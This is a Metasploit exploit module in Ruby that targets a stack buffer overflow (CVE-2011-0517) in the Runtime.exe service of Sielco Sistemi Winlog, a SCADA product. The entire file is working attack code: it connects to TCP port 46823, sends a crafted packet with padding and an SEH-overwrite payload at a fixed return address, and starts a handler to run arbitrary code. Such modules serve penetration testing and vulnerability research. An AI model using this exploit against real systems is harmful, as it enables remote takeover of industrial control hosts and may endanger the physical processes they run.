metasploit-framework/modules/exploits/windows/scada/winlog_runtime.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
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def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in Sielco
Sistem Winlog <= 2.07.00. When sending a specially formatted
packet to the Runtime.exe service, an attacker may be able to
execute arbitrary code.
},
'Author' => [ 'Luigi Auriemma', 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-0517' ],
[ 'OSVDB', '70418'],
[ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ],
[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-017-02.pdf']
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 450,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 13 2011'))
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register_options([Opt::RPORT(46823)], self.class)
end
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def exploit
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connect
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data = [0x02].pack('C') # opcode
data << [0x0101].pack('n')
data << rand_text_alpha_upper(588)
data << generate_seh_payload(target.ret)
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print_status("Trying target #{target.name}...")
sock.put(data)
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handler
disconnect
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end
end